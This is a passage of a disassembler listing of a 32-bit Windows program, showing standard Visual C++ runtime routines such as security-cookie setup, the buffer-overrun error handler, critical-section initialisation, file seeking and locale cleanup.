var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	ds:dbl_42A4A8
		fstp	[ebp+var_8]
		fld	ds:dbl_42A4A0
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	ds:dbl_429F30
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_423D87
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_423D87:				; CODE XREF: sub_423D4B+35j
		xor	eax, eax
		leave
		retn
sub_423D4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_423D8B	proc near		; CODE XREF: sub_41E530+5p
		push	offset aKernel32 ; "KERNEL32"
		call	ds:dword_4290BC	; GetModuleHandleA
		test	eax, eax
		jz	short loc_423DAF
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	ds:dword_4290E0	; GetProcAddress
		test	eax, eax
		jz	short loc_423DAF
		push	0
		call	eax ; sub_41E530
		retn
; ---------------------------------------------------------------------------

loc_423DAF:				; CODE XREF: sub_423D8B+Dj
					; sub_423D8B+1Dj
		jmp	sub_423D4B
sub_423D8B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423DB4	proc near		; DATA XREF: .text:00433004o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, ds:dword_433148
		test	eax, eax
		jz	short loc_423DCA
		cmp	eax, 0BB40E64Eh
		jnz	short locret_423E18

loc_423DCA:				; CODE XREF: sub_423DB4+Dj
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:dword_429120	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_429148	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_4291A4	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_4290A8	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_42903C	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		mov	ds:dword_433148, esi
		jnz	short loc_423E17
		mov	ds:dword_433148, 0BB40E64Eh

loc_423E17:				; CODE XREF: sub_423DB4+57j
		pop	esi

locret_423E18:				; CODE XREF: sub_423DB4+14j
		leave
		retn
sub_423DB4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E1A	proc near		; CODE XREF: sub_41E5BB-1Dp

var_134		= dword	ptr -134h
var_128		= dword	ptr -128h
var_124		= byte ptr -124h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	118h
		push	offset stru_42A680
		call	__SEH_prolog
		mov	eax, ds:dword_433148
		mov	[ebp+var_1C], eax
		mov	eax, ds:dword_435840
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_423E5B
		mov	[ebp+ms_exc.disabled], ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax
		pop	ecx
		pop	ecx

loc_423E49:				; CODE XREF: sub_423E1A+3Fj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_423F5A
; ---------------------------------------------------------------------------

loc_423E52:				; DATA XREF: .text:stru_42A680o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_423E56:				; DATA XREF: .text:stru_42A680o
		mov	esp, [ebp+ms_exc.old_esp]
		jmp	short loc_423E49
; ---------------------------------------------------------------------------

loc_423E5B:				; CODE XREF: sub_423E1A+20j
		mov	eax, [ebp+arg_0]
		dec	eax
		jz	short loc_423E77
		mov	edi, offset aUnknownSecurit ; "Unknown security	failure	detected!"
		mov	[ebp+var_128], offset aASecurityError ;	"A security error of unknown cause has b"...
		mov	esi, 0D4h
		jmp	short loc_423E8B
; ---------------------------------------------------------------------------

loc_423E77:				; CODE XREF: sub_423E1A+45j
		mov	edi, offset aBufferOverrunD ; "Buffer overrun detected!"
		mov	[ebp+var_128], offset aABufferOverrun ;	"A buffer overrun has been detected whic"...
		mov	esi, 0B9h

loc_423E8B:				; CODE XREF: sub_423E1A+5Bj
		mov	[ebp+var_20], cl
		push	104h
		lea	eax, [ebp+var_124]
		push	eax
		push	ecx
		call	ds:dword_4290B8	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_423EB8
		push	offset aProgramNameUnk ; "<program name	unknown>"
		lea	eax, [ebp+var_124]
		push	eax
		call	sub_41C930
		pop	ecx
		pop	ecx

loc_423EB8:				; CODE XREF: sub_423E1A+89j
		lea	ebx, [ebp+var_124]
		mov	eax, ebx
		push	eax
		call	sub_41C350
		pop	ecx
		add	eax, 0Bh
		cmp	eax, 3Ch
		jbe	short loc_423EF4
		mov	eax, ebx
		push	eax
		call	sub_41C350
		mov	ebx, eax
		lea	eax, [ebp+var_124]
		sub	eax, 31h
		add	ebx, eax
		push	3
		push	offset a___	; "..."
		push	ebx
		call	sub_41C5A0
		add	esp, 10h

loc_423EF4:				; CODE XREF: sub_423E1A+B3j
		push	ebx
		call	sub_41C350
		pop	ecx
		lea	eax, [eax+esi+0Ch]
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		push	edi
		push	esi
		call	sub_41C930
		mov	edi, offset asc_42A3C0 ; "\n\n"
		push	edi
		push	esi
		call	sub_41C940
		push	offset aProgram	; "Program: "
		push	esi
		call	sub_41C940
		push	ebx
		push	esi
		call	sub_41C940
		push	edi
		push	esi
		call	sub_41C940
		push	[ebp+var_128]
		push	esi
		call	sub_41C940
		push	12010h
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	esi
		call	sub_426724
		add	esp, 3Ch

loc_423F5A:				; CODE XREF: sub_423E1A+33j
		push	3
		call	sub_41F66F
		int	3		; Trap to Debugger

loc_423F62:				; DATA XREF: sub_423F72:loc_423FB4o
		push	[esp+138h+var_134]
		call	ds:dword_429080	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8
sub_423E1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423F72	proc near		; CODE XREF: sub_41E830+26p
					; sub_41E8E3+4Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	10h
		push	offset stru_42A6B8
		call	__SEH_prolog
		mov	eax, ds:dword_435844
		test	eax, eax
		jnz	short loc_423FBE
		cmp	ds:dword_43565C, 1
		jz	short loc_423FB4
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		call	ds:dword_4290BC	; GetModuleHandleA
		test	eax, eax
		jz	short loc_423FB4
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	ds:dword_4290E0	; GetProcAddress
		mov	ds:dword_435844, eax
		test	eax, eax
		jnz	short loc_423FBE

loc_423FB4:				; CODE XREF: sub_423F72+1Cj
					; sub_423F72+2Bj
		mov	eax, offset loc_423F62
		mov	ds:dword_435844, eax

loc_423FBE:				; CODE XREF: sub_423F72+13j
					; sub_423F72+40j
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax	; InitializeCriticalSectionAndSpinCount
		mov	[ebp+var_20], eax
		jmp	short loc_423FF3
; ---------------------------------------------------------------------------

loc_423FCF:				; DATA XREF: .text:stru_42A6B8o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_423FDD:				; DATA XREF: .text:stru_42A6B8o
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_1C], 0C0000017h
		jnz	short loc_423FF1
		push	8
		call	ds:dword_429078	; RtlRestoreLastWin32Error

loc_423FF1:				; CODE XREF: sub_423F72+75j
		xor	eax, eax

loc_423FF3:				; CODE XREF: sub_423F72+5Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_423F72	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FFD	proc near		; CODE XREF: sub_421B9F+263p
					; sub_421B9F+2CEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_425764
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42401E
		call	sub_4200B5
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42401E:				; CODE XREF: sub_423FFD+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:dword_4290FC	; SetFilePointer
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42403F
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		jmp	short loc_424041
; ---------------------------------------------------------------------------

loc_42403F:				; CODE XREF: sub_423FFD+38j
		xor	eax, eax

loc_424041:				; CODE XREF: sub_423FFD+40j
		test	eax, eax
		jz	short loc_424051
		push	eax
		call	sub_4200C7
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_42406E
; ---------------------------------------------------------------------------

loc_424051:				; CODE XREF: sub_423FFD+46j
		mov	ecx, esi
		and	esi, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_438460[ecx*4]
		mov	eax, esi
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi

loc_42406E:				; CODE XREF: sub_423FFD+52j
		pop	edi
		pop	esi
		retn
sub_423FFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424071	proc near		; CODE XREF: sub_41F714+D0p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00424100 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_42A6C8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, ds:dword_43844C
		jnb	short loc_424100
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:438460h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_424100
		push	ebx
		call	sub_4257A5
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4240D0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_423FFD
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_4240E7
; ---------------------------------------------------------------------------

loc_4240D0:				; CODE XREF: sub_424071+49j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh

loc_4240E7:				; CODE XREF: sub_424071+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_4240F8
		mov	eax, [ebp+var_1C]
		jmp	short loc_424116
sub_424071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240F5	proc near		; DATA XREF: .text:stru_42A6C8o
		mov	ebx, [ebp+8]
sub_4240F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4240F8	proc near		; CODE XREF: sub_424071+7Ap
		push	ebx
		call	sub_425845
		pop	ecx
		retn
sub_4240F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424071

loc_424100:				; CODE XREF: sub_424071+15j
					; sub_424071+35j
		call	sub_4200B5
		mov	dword ptr [eax], 9
		call	sub_4200BE
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh

loc_424116:				; CODE XREF: sub_424071+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_424071

; =============== S U B	R O U T	I N E =======================================



sub_42411C	proc near		; CODE XREF: sub_41F714+6Fp
					; sub_421EDB+34p

arg_0		= dword	ptr  4

		inc	ds:dword_4356C0
		push	1000h
		call	sub_41D0C4
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_424145
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_424156
; ---------------------------------------------------------------------------

loc_424145:				; CODE XREF: sub_42411C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_424156:				; CODE XREF: sub_42411C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_42411C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424160	proc near		; CODE XREF: sub_41F714+64p
					; sub_420FAE+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_43844C
		jb	short loc_42416F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_42416F:				; CODE XREF: sub_424160+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_438460[ecx*4]
		lea	eax, [eax+eax*8]
		movsx	eax, byte ptr [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_424160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42418A	proc near		; CODE XREF: sub_4241EA+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_42419B
		xor	eax, eax
		jmp	short loc_4241E7
; ---------------------------------------------------------------------------

loc_42419B:				; CODE XREF: sub_42418A+Bj
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_4241B4
		mov	ax, [ebp+arg_8]
		cmp	ax, 0FFh
		ja	short loc_4241D9
		mov	[ecx], al
		xor	eax, eax
		inc	eax
		jmp	short loc_4241E7
; ---------------------------------------------------------------------------

loc_4241B4:				; CODE XREF: sub_42418A+17j
		lea	edx, [ebp+arg_4]
		push	edx
		push	esi
		push	dword ptr [eax+28h]
		mov	[ebp+arg_4], esi
		push	ecx
		push	1
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	esi
		push	dword ptr [eax+4]
		call	ds:dword_429174	; WideCharToMultiByte
		cmp	eax, esi
		jz	short loc_4241D9
		cmp	[ebp+arg_4], esi
		jz	short loc_4241E7

loc_4241D9:				; CODE XREF: sub_42418A+21j
					; sub_42418A+48j
		call	sub_4200B5
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh

loc_4241E7:				; CODE XREF: sub_42418A+Fj
					; sub_42418A+28j ...
		pop	esi
		pop	ebp
		retn
sub_42418A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241EA	proc near		; CODE XREF: sub_41F8BB+343p
					; sub_41F8BB+74Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	sub_4203B6
		mov	eax, [eax+64h]
		cmp	eax, ds:off_433444
		jz	short loc_4241FF
		call	sub_420342

loc_4241FF:				; CODE XREF: sub_4241EA+Ej
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	eax
		call	sub_42418A
		add	esp, 0Ch
		retn
sub_4241EA	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_424220	proc near		; CODE XREF: sub_41F8BB+654p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_424251
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	esi, eax
		mov	eax, ebx
		mul	[esp+4+arg_8]
		mov	ecx, eax
		mov	eax, esi
		mul	[esp+4+arg_8]
		add	edx, ecx
		jmp	short loc_424298
; ---------------------------------------------------------------------------

loc_424251:				; CODE XREF: sub_424220+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_42425F:				; CODE XREF: sub_424220+49j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_42425F
		div	ebx
		mov	esi, eax
		mul	[esp+4+arg_C]
		mov	ecx, eax
		mov	eax, [esp+4+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_42428D
		cmp	edx, [esp+4+arg_4]
		ja	short loc_42428D
		jb	short loc_424296
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_424296

loc_42428D:				; CODE XREF: sub_424220+5Dj
					; sub_424220+63j
		dec	esi
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_424296:				; CODE XREF: sub_424220+65j
					; sub_424220+6Bj
		xor	ebx, ebx

loc_424298:				; CODE XREF: sub_424220+2Fj
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0
		mov	ecx, edx
		mov	edx, ebx
		mov	ebx, ecx
		mov	ecx, eax
		mov	eax, esi
		pop	esi
		retn	10h
sub_424220	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242B5	proc near		; CODE XREF: sub_42013A+60p
					; sub_424828+A1p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_42A6D8
		call	__SEH_prolog
		xor	esi, esi
		cmp	ds:dword_435848, esi
		jnz	short loc_424300
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_429F70
		push	edi
		call	ds:dword_429034	; GetStringTypeW
		test	eax, eax
		jz	short loc_4242EB
		mov	ds:dword_435848, edi
		jmp	short loc_424300
; ---------------------------------------------------------------------------

loc_4242EB:				; CODE XREF: sub_4242B5+2Cj
		call	ds:dword_4290D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_424300
		mov	ds:dword_435848, 2

loc_424300:				; CODE XREF: sub_4242B5+14j
					; sub_4242B5+34j ...
		mov	eax, ds:dword_435848
		cmp	eax, 2
		jz	loc_4243F8
		cmp	eax, esi
		jz	loc_4243F8
		cmp	eax, 1
		jnz	loc_42441E
		mov	[ebp+var_24], esi
		mov	[ebp+var_20], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_424332
		mov	eax, ds:dword_435894
		mov	[ebp+arg_10], eax

loc_424332:				; CODE XREF: sub_4242B5+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_429124	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_42441E
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_41E090
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_41C6D0
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_4243A3
; ---------------------------------------------------------------------------

loc_42438E:				; DATA XREF: .text:stru_42A6D8o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------

loc_424392:				; DATA XREF: .text:stru_42A6D8o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_425CAB
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]

loc_4243A3:				; CODE XREF: sub_4242B5+D7j
		test	esi, esi
		jnz	short loc_4243BE
		push	edi
		push	2
		call	sub_421909
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_42441E
		mov	[ebp+var_20], 1

loc_4243BE:				; CODE XREF: sub_4242B5+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_429124	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4243E6
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_429034	; GetStringTypeW
		mov	[ebp+var_24], eax

loc_4243E6:				; CODE XREF: sub_4242B5+11Ej
		cmp	[ebp+var_20], 0
		jz	short loc_4243F3
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_4243F3:				; CODE XREF: sub_4242B5+135j
		mov	eax, [ebp+var_24]
		jmp	short loc_424466
; ---------------------------------------------------------------------------

loc_4243F8:				; CODE XREF: sub_4242B5+53j
					; sub_4242B5+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_424405
		mov	ebx, ds:dword_435884

loc_424405:				; CODE XREF: sub_4242B5+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_424412
		mov	edi, ds:dword_435894

loc_424412:				; CODE XREF: sub_4242B5+155j
		push	ebx
		call	sub_425A9F
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_424422

loc_42441E:				; CODE XREF: sub_4242B5+64j
					; sub_4242B5+A5j ...
		xor	eax, eax
		jmp	short loc_424466
; ---------------------------------------------------------------------------

loc_424422:				; CODE XREF: sub_4242B5+167j
		cmp	eax, edi
		jz	short loc_424444
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_425AE2
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_42441E
		mov	[ebp+arg_4], esi

loc_424444:				; CODE XREF: sub_4242B5+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_429038	; GetStringTypeA
		mov	edi, eax
		test	esi, esi
		jz	short loc_424464
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_424464:				; CODE XREF: sub_4242B5+1A6j
		mov	eax, edi

loc_424466:				; CODE XREF: sub_4242B5+141j
					; sub_4242B5+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_4242B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_42446F	proc near		; CODE XREF: sub_4201B1+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_4245FD
		push	dword ptr [esi+4]
		call	sub_41C2DD
		push	dword ptr [esi+8]
		call	sub_41C2DD
		push	dword ptr [esi+0Ch]
		call	sub_41C2DD
		push	dword ptr [esi+10h]
		call	sub_41C2DD
		push	dword ptr [esi+14h]
		call	sub_41C2DD
		push	dword ptr [esi+18h]
		call	sub_41C2DD
		push	dword ptr [esi]
		call	sub_41C2DD
		push	dword ptr [esi+20h]
		call	sub_41C2DD
		push	dword ptr [esi+24h]
		call	sub_41C2DD
		push	dword ptr [esi+28h]
		call	sub_41C2DD
		push	dword ptr [esi+2Ch]
		call	sub_41C2DD
		push	dword ptr [esi+30h]
		call	sub_41C2DD
		push	dword ptr [esi+34h]
		call	sub_41C2DD
		push	dword ptr [esi+1Ch]
		call	sub_41C2DD
		push	dword ptr [esi+38h]
		call	sub_41C2DD
		push	dword ptr [esi+3Ch]
		call	sub_41C2DD
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_41C2DD
		push	dword ptr [esi+44h]
		call	sub_41C2DD
		push	dword ptr [esi+48h]
		call	sub_41C2DD
		push	dword ptr [esi+4Ch]
		call	sub_41C2DD
		push	dword ptr [esi+50h]
		call	sub_41C2DD
		push	dword ptr [esi+54h]
		call	sub_41C2DD
		push	dword ptr [esi+58h]
		call	sub_41C2DD
		push	dword ptr [esi+5Ch]
		call	sub_41C2DD
		push	dword ptr [esi+60h]
		call	sub_41C2DD
		push	dword ptr [esi+64h]
		call	sub_41C2DD
		push	dword ptr [esi+68h]
		call	sub_41C2DD
		push	dword ptr [esi+6Ch]
		call	sub_41C2DD
		push	dword ptr [esi+70h]
		call	sub_41C2DD
		push	dword ptr [esi+74h]
		call	sub_41C2DD
		push	dword ptr [esi+78h]
		call	sub_41C2DD
		push	dword ptr [esi+7Ch]
		call	sub_41C2DD
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_41C2DD
		push	dword ptr [esi+84h]
		call	sub_41C2DD
		push	dword ptr [esi+88h]
		call	sub_41C2DD
		push	dword ptr [esi+8Ch]
		call	sub_41C2DD
		push	dword ptr [esi+90h]
		call	sub_41C2DD
		push	dword ptr [esi+94h]
		call	sub_41C2DD
		push	dword ptr [esi+98h]
		call	sub_41C2DD
		push	dword ptr [esi+9Ch]
		call	sub_41C2DD
		push	dword ptr [esi+0A0h]
		call	sub_41C2DD
		push	dword ptr [esi+0A4h]
		call	sub_41C2DD
		push	dword ptr [esi+0A8h]
		call	sub_41C2DD
		add	esp, 2Ch

loc_4245FD:				; CODE XREF: sub_42446F+7j
		pop	esi
		retn
sub_42446F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4245FF	proc near		; CODE XREF: sub_4201B1+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42465C
		mov	eax, [esi]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx]
		jz	short loc_424623
		cmp	eax, ds:off_433A54
		jz	short loc_424623
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_424623:				; CODE XREF: sub_4245FF+13j
					; sub_4245FF+1Bj
		mov	eax, [esi+4]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+4]
		jz	short loc_424640
		cmp	eax, ds:off_433A58
		jz	short loc_424640
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_424640:				; CODE XREF: sub_4245FF+30j
					; sub_4245FF+38j
		mov	esi, [esi+8]
		mov	eax, ds:off_433A84
		cmp	esi, [eax+8]
		jz	short loc_42465C
		cmp	esi, ds:off_433A5C
		jz	short loc_42465C
		push	esi
		call	sub_41C2DD
		pop	ecx

loc_42465C:				; CODE XREF: sub_4245FF+7j
					; sub_4245FF+4Cj ...
		pop	esi
		retn
sub_4245FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42465E	proc near		; CODE XREF: sub_4201B1+3Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_424735
		mov	eax, [esi+0Ch]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+0Ch]
		jz	short loc_424688
		cmp	eax, ds:off_433A60
		jz	short loc_424688
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_424688:				; CODE XREF: sub_42465E+19j
					; sub_42465E+21j
		mov	eax, [esi+10h]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+10h]
		jz	short loc_4246A5
		cmp	eax, ds:off_433A64
		jz	short loc_4246A5
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_4246A5:				; CODE XREF: sub_42465E+36j
					; sub_42465E+3Ej
		mov	eax, [esi+14h]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+14h]
		jz	short loc_4246C2
		cmp	eax, ds:off_433A68
		jz	short loc_4246C2
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_4246C2:				; CODE XREF: sub_42465E+53j
					; sub_42465E+5Bj
		mov	eax, [esi+18h]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+18h]
		jz	short loc_4246DF
		cmp	eax, ds:off_433A6C
		jz	short loc_4246DF
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_4246DF:				; CODE XREF: sub_42465E+70j
					; sub_42465E+78j
		mov	eax, [esi+1Ch]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+1Ch]
		jz	short loc_4246FC
		cmp	eax, ds:off_433A70
		jz	short loc_4246FC
		push	eax
		call	sub_41C2DD
		pop	ecx

loc_4246FC:				; CODE XREF: sub_42465E+8Dj
					; sub_42465E+95j
		mov	eax, [esi+20h]
		mov	ecx, ds:off_433A84
		cmp	eax, [ecx+20h]
		jz	short loc_424719
		cmp	eax, ds:off_433A74
